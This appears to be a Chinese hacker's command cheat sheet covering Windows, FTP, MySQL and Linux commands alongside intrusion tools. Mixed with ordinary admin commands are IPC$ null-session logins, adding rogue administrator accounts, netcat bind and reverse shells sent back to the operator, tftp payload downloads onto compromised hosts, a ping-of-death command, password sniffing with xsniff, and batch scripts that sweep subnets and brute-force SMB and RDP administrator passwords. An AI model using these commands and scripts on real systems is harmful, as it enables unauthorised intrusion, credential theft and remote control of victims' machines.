net use \ipipc$ " " /user:" " 建立IPC空链接
net use \ipipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \ipc$ 登陆后映射对方C:到本地为H:
net use \ipipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名  开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \目标ip 查看对方时间
net time \目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

#2 二:

del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:srv.exe \ipadmin$ 复制本地c:srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \ipadmin$svv.exe c: 或:copy\ipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续….
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )

#3 三:

ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况

#4 四:

IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump –opt school>school.bbb 备份数据库:(命令在DOS的\mysql\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

#6 六:

Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)

附:批处理命令与变量

1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关

IN (set):指在(set)中取值;DO command :指执行command

参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

#7 七:

2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

(二)系统外部命令(均需下载相关工具):

1、瑞士军刀:nc.exe

参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt
nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:winnt >> d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中
>与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。
如: @dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

#8 八:

2、扫锚工具:xscan.exe

基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

#9 九:

3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

4、终端服务密码破解: tscrack.exe

参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个连接(多线程)
-N Prevent System Log entries on targeted server
-U 卸载移除tscrack组件
-f 使用-f后面的密码
-F 间隔时间(频率)
-l 使用-l后面的用户名
-w 使用-w后面的密码字典
-p 使用-p后面的密码
-D 登录主页面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码
tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。

5、其它:

Shutdown.exe
Shutdown \IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的 88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
OpenTelnet.exe (远程开启telnet工具)
opentelnet.exe \IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \ip 连接上对方。
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。

ResumeTelnet.exe (OpenTelnet附带的另一个工具)
resumetelnet.exe \IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。

#10 十:

6、FTP命令详解:

FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

FTP的命令行格式为:
ftp -v -d -i -n -g [主机名] ,其中

-v 显示远程服务器的所有响应信息;

-n 限制ftp的自动登录,即不使用;.n etrc文件;

-d 使用调试方式;

-g 取消全局文件名。

FTP使用的内部命令如下(中括号表示可选项):

1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2.$ macro-ame[args]: 执行宏定义macro-name。

3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。

7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。

9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote-dir:进入远程主机目录。

11.cdup:进入远程主机目录的父目录。
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

15.delete remote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
18.disconnection:同close。

19.form format:将文件传输方式设置为format,缺省为file方式。
20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。

23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。

27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。

31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中建一目录。

33.mls remote-file local-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

35.modtime file-name:显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输至远程主机。

37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换,如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。

43.prompt:设置多个文件传输时的交互提示。
44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
46.pwd:显示远程主机的当前工作目录。

47.quit:同bye,退出ftp会话。
48.quote arg1,arg2…:将参数逐字发至远程ftp服务器,如:quote syst.

49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

51.rhelp[cmd-name]:请求获得远程主机的帮助。
52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

53.rename[from][to]:更改远程主机文件名。
54.reset:清除回答队列。

55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
56.rmdir dir-name:删除远程主机目录。

57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
58.send local-file[remote-file]:同put。

59.sendport:设置PORT命令的使用。
60.site arg1,arg2…:将参数作为SITE命令逐字发送至远程ftp主机。

61.size file-name:显示远程主机文件大小,如:site idle 7200。
62.status:显示当前ftp状态。

63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

65.system:显示远程主机的操作系统类型。
66.tenex:将文件传输类型设置为TENEX机的所需的类型。

67.tick:设置传输时的字节计数器。
68.trace:设置包跟踪。

69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email
72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

73.?[cmd]:同help.

#11 十一:

7:计算机运行命令全集 winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构
wupdmgr——–windows更新程序
winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构
wupdmgr——–windows更新程序
wscript——–windows脚本宿主设置
write———-写字板winmsd—–系统信息
wiaacmgr——-扫描仪和照相机向导
winchat——–XP自带局域网聊天
mem.exe——–显示内存使用情况
Msconfig.exe—系统配置实用程序
mplayer2——-简易widnows media player
mspaint——–画图板
mstsc———-远程桌面连接
mplayer2——-媒体播放机
magnify——–放大镜实用程序
mmc————打开控制台
mobsync——–同步命令
dxdiag———检查DirectX信息
drwtsn32—— 系统医生
devmgmt.msc— 设备管理器
dfrg.msc——-磁盘碎片整理程序
diskmgmt.msc—磁盘管理实用程序
dcomcnfg——-打开系统组件服务
